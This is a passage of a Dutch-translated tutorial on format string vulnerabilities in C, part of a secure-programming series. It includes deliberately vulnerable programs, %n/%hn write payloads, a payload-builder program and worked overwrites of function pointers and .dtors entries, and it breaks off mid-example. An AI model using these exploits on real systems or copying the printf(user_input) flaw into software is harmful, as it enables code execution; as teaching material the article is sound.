Home  |  Map  |  Index  |  Zoek

Convert to GutenPalm or to PalmDoc door Frédé ric Raynal, Christophe Blaess, Christophe Grenier <pappy/at/users.sourceforge.net, %0D%0A%20%20%20%20ccb/at/club-internet.fr, grenier/at/nef.esiea.fr> Over de auteur: Christophe Blaess is een onafhankelijke luchtvaart ingenieur. Hij is een Linux fan en werkt veel met dit systeem. Hij coördineert de vertaling van de man pages zoals die te vinden zijn op de site van het Linux Documentation Project. Christophe Grenier is een 5e jaars student aan de ESIEA, hij werkt daar ook als systeembeheerder. Hij is dol op computer beveiligingssystemen. Frédéric Raynal gebruikt Linux nu al jaren omdat het niet vervuilend is, niet opgepept wordt met hormonen, MSG of beendermeel... maar alleen met bloed, zweet, tranen en kennis. Vertaald naar het Nederlands door: Hendrik-Jan Heins <hjh/at/passys.nl> Inhoud: Waar zit het gevaar? Diep in de "format strings" printf() : ze hebben tegen me gelogen! Tijd om te spelen Stack en printf() De stack doornemen Nog hoger In het kort ... De eerste stappen Variaties op hetzelfde thema Het exploiteren van een format bug Het kwetsbare programma Eerste voorbeeld Geheugenproblemen: Verdeel en heers Andere mogelijkheden om uit te buiten Aaaah, geef me een commandoregel Conclusie : Hoe format bugs te vermijden? Erkentelijkheid Links Talkback voor dit artikel

Het vermijden van veiligheidslekken bij het ontwikkelen van een applicatie - Deel 4: format strings Kort: Al een tijdje worden meldingen over veiligheidsgaten (format string) die gemakkelijk geopend kunnen worden, talrijker. Dit artikel geeft uitleg over waar het gevaar vandaan komt en dat een poging om slechts zes bytes op te slaan al genoeg is om de veiligheid van een programma in gevaar te brengen. _________________ _________________ _________________

Waar zit het gevaar?

De meeste veiligheidsgaten komen door een slechte configuratie of luiheid. Dit geldt ook voor de zogenaamde "format strings".

Het is vaak noodzakelijk om in een programma strings te gebruiken die eindigen met "null". Waar in het programma dit gebeurt is voor dit verhaal niet van belang. De kwetsbaarheid zit, alweer, in het direct wegschrijven naar het geheugen. De gegevens voor de aanval kunnen komen van bijvoorbeeld stdin, bestanden, etc. Een enkele instructie is voldoende:

Een programmeur kan echter beslissen om tijd te besparen bij het programmeren en te kiezen voor de volgende oplossing, die zes bytes minder bevat:

Dankzij de "economische" oplossing van deze programmeur, heeft hij een potentieel veiligheidslek in z'n werk geopend. Hij vindt het voldoende om een enkele string als argument op te geven en deze vervolgens op het beeld te tonen zonder enige verandering. Deze string wordt echter ontleed tijdens de zoektocht naar regels betreffende het format (%d, %g...). Op het moment dat een format gevonden wordt, wordt het corresponderende argument in de stack gezocht.

We zullen nu een overzicht van de printf() functies geven. We verwachten dat iedereen deze kent, echter niet tot in detail! We zullen de minder belangrijke aspecten van deze opdrachten ook tonen. Daarna zullen we laten zien hoe je meer te weten komt over het bestaan van zo'n lek, waardoor je er gebruik van kan maken. En uiteindelijk laten we zien hoe de onderliggende relaties van deze aspecten in elkaar steken in een enkel voorbeeld.

Diep in de "format strings"

printf() : ze hebben tegen me gelogen!

Laten we beginnen met alles wat we geleerd hebben in ons programmeurshandboek: de meeste C input/ output functies gebruiken data formatting. Dit betekent dat je niet alleen de gegevens voor lezen en schrijven moet geven, maar ook hoe dit weergegeven moet worden. Het volgende programma is hier een illustratie van:

/* display.c */
#include <stdio.h>
main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
 

>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a

Niets nieuws - alles gaat conform aan de vele functies die eenzelfde opbouw hebben als de printf() functie:

1. Een argument in de vorm van een karakterstring (const char *format) wordt gebruikt om het gekozen format te specificeren;
2. Een of meer optionele argumenten die de variabelen bevatten waarin de waarden zijn geformatteerd volgens de indicaties van de voorgaande string.

De meeste programmeercursussen stoppen hier, en geven daarmee een niet complete lijst van mogelijke formats (%g, %h, %x, het gebruik van het punt-karakter . om betere specificatie te forceren...) Maar, er is nog een andere, waar nooit over gesproken wordt: %n. Dit is wat de printf() man pagina's erover te zeggen hebben:

Dit is het belangrijkste van dit artikel: Dit argument maakt het mogelijk om te schrijven in een pointer variabele, zelfs wanneer deze gebruikt wordt in een afbeeld-functie!

Voordat we verder gaan,willen we eerst zeggen dat dit format ook bestaat voor functies van de scanf() en syslog() klasse.

Tijd om te spelen

We gaan het gebruik en gedrag van dit format bekijken met behulp van een paar kleine programmaatjes. Het eerste, printf1, toont een heel eenvoudig gebruik:

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

De eerste printf() oproep, geeft een afbeelding van de string "0123456789", deze bevat dus 10 karakters. De volgende %n format schrijft deze waarde naar de variabele n:

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10

7:   printf("buf=%s%n\n", buf, &n);

Het draaien van dit nieuwe programma bevestigd onze indruk: de variabele n is nu 14, (10 karakters van de buf string variabele zijn uitgebreid met de 4 karakters van de "buf=" constante string, die in de format string zelf zit).

Dus, nu weten we dat de %n format ieder karakter dat verschijnt in de format string telt. Het telt nog verder, maar dat zullen we demonstreren aan de hand van het printf2 programma:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

   snprintf(buf, sizeof buf, "%.100d%n", x, &n);
   printf("l = %d\n", strlen(buf));
   printf("n = %d\n", n);
}

>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100

Wat gebeurt er echt? De format string heeft de volledige lengte, voordat hij in stukken wordt geknipt en dan gekopieerd naar de doelbuffer:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);

• de buffer grootte is gereduceerd tot 5 bytes
• de precisie / grootte van de format string is nu ingesteld op 5;
• de buffer inhoud wordt eindelijk weergegeven.

>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)

1. De format string wordt gebruikt volgens de commando's ¹ die hij bevat, en dat levert de string "00000\0";
2. De variabelen worden nu daar geschreven waar ze horen en ook op de manier waarop ze geschreven moeten worden, dit wordt geïllustreerd door x uit ons voorbeeld te kopiëren. De string ziet er dan als volgt uit: "01234\0";
3. Tenslotte de sizeof buf - 1 bytes² string, waarvan gekopieerd wordt in de buf doel-string, Dit levert ons: "0123\0"

Voordat we dit deel beëindigen, de opmerking dat het mogelijk is om dezelfde resultaten te krijgen wanneer de format string een beetje anders wordt geschreven. Hiervoor gebruikten we een format dat precision (de punt '.') heet. Een andere combinatie van het formatteren van instructies, levert hetzelfde resultaat: 0n, met n als maat voor de breedte (width) en 0 als opdracht die aangeeft dat alle lege ruimte gevuld moet worden met 0, voor het geval dat niet de gehele breedte wordt opgevuld.

Nu je vrijwel alles weet over format strings en vooral over de %n format, zullen we hun gedrag gaan bestuderen.

Stack en printf()

De stack doornemen

Het volgende programma zal onze leidraad door deze sectie zijn, het zal helpen bij het begrijpen hoe printf() en de stack aan elkaar gerelateerd zijn:

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }

>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)

Fig. 1 :De stack aan het begin van snprintf()

Figuur 1 beschrijft de staat van de stack wanneer het programma de snprintf() functie start (we zullen zien dat dit niet waar is... maar dit is alleen een voorbeeld om je een beetje inzicht te geven in wat er gebeurd). Wat er gebeurt met het %esp register maakt ons niets uit. Dat is ergens onder het %ebp register. Zoals we in het voorgaande artikel al hebben gezien, bevatten %ebp en %ebp+4 de respectievelijke back-ups van de %ebp en %ebp+4 registers. Nu komen de argumenten van de functie snprintf():

1. Het doel adres;
2. Het aantal karakters dat gekopiëerd moet worden;
3. Het adres van de format string argv[1] dat ook dienst doet als gegeven.

De argv[1] string wordt op hetzelfde moment gebruikt als de format string en gegevens. Volgens de normale volgorde van de snprintf() routine, verschijnt argv[1] in plaats van de format string. Aangezien je een format string kan gebruiken zonder format aanwijzing (alleen maar tekst), werkt alles zonder problemen :)

Wat gebeurt er wanneer argv[1] ook een formattering bevat??? Normaal gesproken interpreteert snprintf() ze zoals ze zijn... en er is geen reden waardoor het nu anders zou moeten zijn! Maar nu kan je je afvragen welke argumenten gebruikt gaan worden als gegevens voor formattering van de output string. In feite neemt snprintf() nu data van de stack! Dit kan je zien in het stack programma:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Eerst wordt de "123" string in de buffer gekopiëerd. De %x vraagt snprintf() om de eerste waarde te vertalen in een hexadecimaal. In figuur 1 is dit eerste argument leeg, maar de tmp variabele bevat de \x01\x02\x03\x00 string. Deze wordt weergegeven als het hexadecimale nummer 0x00030201 volgens onze "little endian" x86 processor.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Het toevoegen van een tweede %x staat je toe om hoger in de stack te komen. Het vertelt snprintf() om te kijken naar de vier volgende bytes na de tmp variabele. Deze 4 bytes zijn in feite de eerste 4 bytes van buffer. Echter, buffer bevat de "123 " string, die kan worden gezien als het hexadecimale nummer 0x20333231 (0x20=space, 0x31='1'...). Dus voor iedere %x, "springt" snprintf() 4 bytes verder in de buffer (de sprong is 4 bytes, omdat unsigned int in een x86 processor 4 bytes neemt). Deze variabele speelt de rol van dubbelagent:

1. Schrijven naar het doel;
2. Lees input gegevens voor het format.

>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
 0x333837] (63)
i = 1 (bffff654)

Nog hoger

Je kan enkele bruikbare formats vinden als het nodig is om te wisselen tussen parameters (bijvoorbeeld wanneer de datum en tijd worden weergegeven). We kunnen de format m$ direct achter de % toevoegen, waar m een geheel getal >0 is. Het geeft de positie van de variabele voor gebruik in de argumentenlijst aan (beginnende met 1):

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

De format die gebruik maakt van m$ staat ons toe om omhoog te gaan in de stack, zo ver als we willen, door gebruik te maken van gdb:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Het \ karakter is hier nodig om de $ te beschermen en om ervoor te zorgen dat de commandoregel deze niet interpreteert. Met de eerste drie aanroepen, bekijken we de inhoud van de buf variabele. Met %4\$x krijgen we het bewaarde register %ebp en met de volgende %5\$x, krijgen we het register %eip (Ook bekend als het retouradres). De laatste 2 resultaten hier laten de argc variabele waarde zien en het adres dat in *argv staat (onthoudt dat **argv betekent dat *argv een adres array is).

In het kort ...

Dit voorbeeld illustreert het feit dat de meegeleverde formats ons in staat stellen om omhoog in de stack te gaan om informatie te vinden, zoals bijvoorbeeld de retourwaarde van een functie, een adres..... Echter, zoals we aan het begin van dit artikel al hebben gezien, kunnen we schrijven met functies van het type printf(): ziet dit er niet uit als een schitterende potentiële zwakke plek?

De eerste stappen

Laten we teruggaan naar het stack programma:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

1. Het i variabele adres;
2. een format instructie (%.496x);
3. een tweede format instructie (%n) die zal schrijven naar het aangegeven adres.

snprintf(buffer,
 sizeof buffer,
 "\x64\xf6\xff\xbf%.496x%n",
 tmp,
 4 first bytes in buffer);

De eerste vier bytes (die het i adres bevatten) zijn aan het begin van de buffer geschreven. Het %.496x format staat ons toe om de tmp variabele, die aan het begin van de stack staat, te dumpen. Dan, wanneer %n de format instructie is, wordt het adres dat gebruikt is het adres van i, aan het begin van de buffer. Hoewel de vereiste nauwkeurigheid 496 is, schrijft snprintf maximaal slechts zestig bytes (dit omdat de lengte van de buffer 64 is en 4 bytes al geschreven zijn). De waarde 496 is een arbitraire keuze en deze wordt alleen maar gestuurd om de "byte- teller" te manipuleren. We hebben al gezien dat het %n format het aantal bytes dat zou moeten worden geschreven, bewaart. Deze waarde is 496, waar we 4 aan toe moeten voegen van de 4 bytes van adres i aan het begin van de buffer. Daarom moeten we 500 bytes tellen. Deze waarde zal worden weggeschreven in het volgende adres in de stack, dit is het i-de adres.

We kunnen nog verder gaan met dit voorbeeld. Om i te veranderen, moetsen we z'n adres kennen..... maar soms geeft het programma zelf dit weg:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Door dit programma te draaien kunnen we zien dat we de stack (bijna) kunnen manipuleren zoals wij willen:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Zoals je kunt zien kunnen we, afhankelijk van het argument, ofwel cpt1, of cpt2 veranderen. Het %n format verwacht een adres, dat is waarom we niet direct kunnen reageren op de variabelen (dus gebruik maken van %3$n (cpt2) of %4$n (cpt1)), maar moeten we via de pointers werken. Deze laatsten zijn een "nieuwe jachtgrond" met enorm veel mogelijkheden om aanpassingen aan te brengen.

Variaties op hetzelfde thema

Het programma stuff benadrukt deze verschillen nog eens:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
printf("Usage : %s <format>\n",argv[0]);
exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

De arrays aaa en bbb worden gebruikt als afbakening in onze reis door de stack. Daarom weten we dat wanneer we 424242 vinden, de volgende bytes in de buffer zitten. Tabel 1 geeft de verschillen volgens de verschillende versies van de van glibc en de compilers weer.

In het vervolg van dit artikel zullen we egcs-2.91.66 en glibc-2.1.3-22 blijven gebruiken, maar wees niet verrast als je een andere uitkomst op je eigen machine krijgt.

Het exploiteren van een format bug

Toen we gebruik maakten van buffer overflows, gebruikten we een buffer om het retour adres van een functie te overschrijven.

Met format strings kunnen we, zoals we gezien hebben overal naar toe gaan (stack, heap, bss, .dtors, ...), we hoeven alleen maar op te geven wat waar te schrijven met behulp van %n.

Het kwetsbare programma

/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

 return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
  }
  for(i=0;i<argc;i++)
printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()

{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

We definiëren een variabele genaamd ptrf, deze is een pointer naar een functie. We gaan de waarde van deze pointer veranderen om een functie naar keuze te draaien.

Eerste voorbeeld

Eerst moeten we te weten komen wat de offset is tussen het begin van de kwetsbare buffer en onze huidige positie in de stack:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"
>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Hier geeft de eerste oproep ons wat we nodig hebben: 3 woorden (een woord = 4 bytes voor x86 processoren) scheiden ons van het begin van de buffer variabele. De tweede oproep, met AAAA%3\$x als argument, bevestigt dit.

Ons doel is nu om de waarde van de eerste pointer, ptrf (0x8048634, het adres van de functie helloWorld()) te vervangen door de waarde 0x8048654 (het adres van accessForbidden()). We moeten nu dus 0x8048654 bytes schrijven (134514260 bytes in decimalen, ongeveer 128Mbytes). Niet alle computers kunnen dit gebruik van zo'n hoeveelheid geheugen aan... maar degene die wij gebruiken kan dit wel :) Het duurt ongeveer 20 seconden op een dual-pentium 350 MHz:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Wat hebben we gedaan? We hebben zojuist het adres van ptrf (0xbffff5d4) aangegeven. De volgende format (%.134514256x) leest het eerste woord van de stack, met een precisie van 134514256 (we hebben de eerste 4 byte van het adres van ptrf al geschreven, dus hoeven we nog maar 134514260-4=134514256 bytes te schrijven). En eindelijk kunnen we de betreffende waarde in het gegeven adres (%3$n) schrijven.

Geheugenproblemen: Verdeel en heers

Helaas is het, zoals we al zeiden, niet altijd mogelijk om 128MB aan buffers te gebruiken. Het format %n wacht op een pointer naar een geheel getal, dus vier bytes. Het is mogelijk om z'n gedrag te veranderen, zodat hij naar een short int - slechts 2 bytes - wijst, dankzij de instructie %hn. Op deze manier delen we het gehele getal waarnaar we willen schrijven op in in twee delen. Het grootst schrijfbare formaat zal dan passen in 0xffff bytes (65535 bytes). Dus, in het voorgaande voorbeeld transformeren we de operatie van het schrijven van "0x8048654 op het adres 0xbffff5d4" in twee succesievelijke operaties:

• Schrijf 0x8654 in het adres 0xbffff5d4
• het schrijven van 0x0804 in het adres 0xbffff5d4+2=0xbffff5d6

Echter, %n (of %hn) telt het totale aantal karakters dat in de string zit. Dit aantal kan alleen maar toenemen. We moeten eerst de kleinste van de twee waardes wegschrijven Daarna zal de tweede format opdracht slechts het verschil tussen het benodigde aantal en het eerste getal als verschil aangeven. In ons eerste voorbeeld bijvoorbeeld, zal de format operatie %.2052x (2052 = 0x0804) worden en de tweede opdracht wordt dan %.32336x (32336 = 0x8654 - 0x0804). Iedere %hn die hier direct na wordt geplaatst, zal het correcte aantal bytes opgeven.

We hoeven alleen maar aan te geven waar er geschreven moet worden naar beide %hn. De operant m$ zal ons hierbij erg veel hulp bieden. Als we de adressen aan heb begin van de kwetsbare buffer bewaren, hoeven we alleen maar omhoog te gaan in de stack om de offset van het begin van de buffer te vinden met behulp van het m$ format. Daarna zitten beide adressen op een offset van respectievelijk m en m+1. Wanneer we de eerste 8 bytes van de buffer gebruiken op het te overschrijven adres te bewaren, moet de eerste waarde die geschreven is met 8 in waarde verminderd worden.

Onze format string ziet er nu als volgt uit:

Het build programma maakt gebruik van drie argumenten om een format string te maken:

1. het adres om te overschrijven;
2. de waarde om daarin te schrijven;
3. De offset (geteld als woorden) vanaf het begin van de kwetsbare buffer.

/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   De 4 bytes waarin we moeten schrijven zijn op de volgende manier geplaatst:
   HH HH LL LL
   De variabelen die eindigen met "*h" verwijzen naar het hogere deel
   van het woord (H). De variabelen die eindigen op een  "*l" verwijzen
   naar het lage deel van het woord (L).
   */
char* build(unsigned int addr, unsigned int value,
  unsigned int where) {

  /* te lui om de werkelijke lengte te evalueren ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr  ) & 0xff;

  char *buf;

  /* de waarde oppoetsen */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff; //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocatie */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {

  fprintf(stderr, "Can't allocate buffer (%d)\n", length);
  exit(EXIT_FAILURE);
}
  memset(buf, 0, length);

  /* tijd om te bouwen */
  if (valh < vall) {

 snprintf(buf,
 length,
 "%c%c%c%c"   /* hoge adres */
 "%c%c%c%c"   /* lage adres */

 "%%.%hdx"/* schrijft de waarde voor de eerste %hn */
 "%%%d$hn"/* de %hn voor het hoge deel */

 "%%.%hdx"/* schrijft de waarde voor de tweede %hn */
 "%%%d$hn"/* de %hn voor het lage deel */
 ,
 b3+2, b2, b1, b0,/* hoge adres */
 b3, b2, b1, b0,  /* lage adres */

 valh-8,  /* schrijft de waarde voor de eerste %hn */
 where,   /* de %hn voor het hoge deel */
 vall-valh,   /* set the value for the second %hn */
  where+1  /* de %hn voor het lage deel */
 );

} else {

snprintf(buf,
 length,
 "%c%c%c%c"   /* hoge adres */
 "%c%c%c%c"   /* lage adres */

 "%%.%hdx"/* schrijft de waarde voor de eerste %hn */
 "%%%d$hn"/* de %hn voor het hoge deel */

 "%%.%hdx"/* schrijft de waarde voor de tweede %hn */
 "%%%d$hn"/* de %hn voor het lage deel */
 ,
 b3+2, b2, b1, b0,/* hoge adres */
 b3, b2, b1, b0,  /* lage adres */

 vall-8,  /* schrijft de waarde voor de eerste %hn */
 where+1, /* de %hn voor het hoge deel */

 valh-vall,   /* schrijft de waarde voor de tweede %hn */
 where/* de %hn voor het lage deel */
 );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
  strtoul(argv[2], NULL, 16),  /* valeur */
  atoi(argv[3]));  /* offset */
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

De positie van het argument verandert volgens de vraag of de eerste waarde in het hoge of lage deel van het woord geschreven wordt. Laten we eens kijken wat we nu krijgen, zonder geheugenproblemen.

Eerst laat ons eenvoudige voorbeeld on raden naar de offset:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Dit is altijd hetzelfde: 3. Aangezien dit programma geschreven is om uit te leggen wat er gebeurt, hebben we alle informatie die we nodig hebben al in handen: de ptrf en accesForbidden() adressen. We bouwen nu onze buffer volgens deze waardes:

>>./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Andere mogelijkheden om uit te buiten

We hebben gezien dat format bugs ons de mogelijkheid geven om waar dan ook te schrijven. Nu zullen we een exploitatie zien op basis van de .dtors sectie.

Als een programma is gecompileerd met gcc, kan je een bouwersafdeling vinden (geheten .ctors) en een slopersafdeling (geheten .dtors). Ieder van deze secties bevat pointers naar functies die respectievelijk uitgevoerd dienen te worden voordat de main() sectie van de functies wordt uitgevoerd en daarna.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}

>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()

>>objdump -s -j .ctors cdtors

cdtors: file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000   ............
>>objdump -s -j .dtors cdtors

cdtors: file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000   ............

>>objdump -t cdtors | egrep "start|end"
080483dc g F .text  00000012  start
080483f0 g F .text  00000012  end

Laten we dit toepassen op vuln door gebruik te maken van de format string. We moeten nu eerst de locatie in het geheugen van deze secties bepalen, maar dat is heel eenvoudig wanneer je de "binaries" bij de hand hebt ;-). Maak eenvoudigweg gebruik van de objdump zoals we eerder ook al deden:

>> objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000........

Het doel van deze exploit is het vervangen van het adres van een functie in een van deze secties door een van de functies die we willen uitvoeren. Als die secties leeg zijn, hoeven we alleen maar de 0x00000000 te overschrijven, aangezien deze het einde van de sectie aangeeft. Dit zorgt voor een segmentation fault omdat het programma deze 0x00000000 niet kan vinden, daarom neemt het de volgende waarde aan als het adres van een functie, ook al is dat waarschijnlijk niet waar.

Eigenlijk is de enige interessante sectie de slopers-sectie (.dtors): we hebben geen tijd om iets te doen voor de bouwerssectie (.ctors). Normaal gesproken is het voldoende om het adres dat 4 bytes na het begin van de sectie is geschreven, te vervangen (de 0xffffffff):

• Als er daar geen adres staat, overschrijven we de 0x00000000;
• Anders is de eerste functie die uitgevoerd wordt van ons.

Laten we teruggaan naar ons voorbeeld. We vervangen 0x00000000 in sectie .dtors, geplaatst in 0x8049848=0x8049844+4, met het adres van de accesForbidden() functie, die we al kennen (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Aaaah, geef me een commandoregel

We hebben nu wat eenvoudige exploitatiemethodes gezien. Door gebruik te maken van hetzelfde principe kunnen we een commandoregel krijgen, hetzij door het ingeven van een commando- regelopdracht met behulp van argv[] of een omgevingsvariabele naar het kwetsbare programma. We hoeven alleen maar het correcte adres in te geven (d.w.z. het adres van de "eggshell") in sectie .dtors.

Nu weten we dus:

• hoe de stack gemanipuleerd moet worden binnen de grenzen van de redelijkheid (eigenlijk is er in theorie geen grens aan, maar het wordt nogal snel pijnlijk om de woorden die in de stack staan een voor een terug te vinden);
• hoe de te verwachtten waarde op het juiste adres moet worden geschreven.

Echter, in werkelijkheid is het kwetsbare programma niet zo "vriendelijk" als het programma in ons voorbeeld. We zullen een methode introduceren die het mogelijk maakt om commandoregelcode in geheugen te plaatsen en om het exacte adres daarvan te achterhalen (dit betekent: geen NOP meer aan het begin van de commandoregelcode).

Het idee is gebaseerd op recursieve oproepen van de functie exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;
  env= (char **) malloc(sizeof(char *));
  env[0] = 0;
  arg= (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
exit(0);
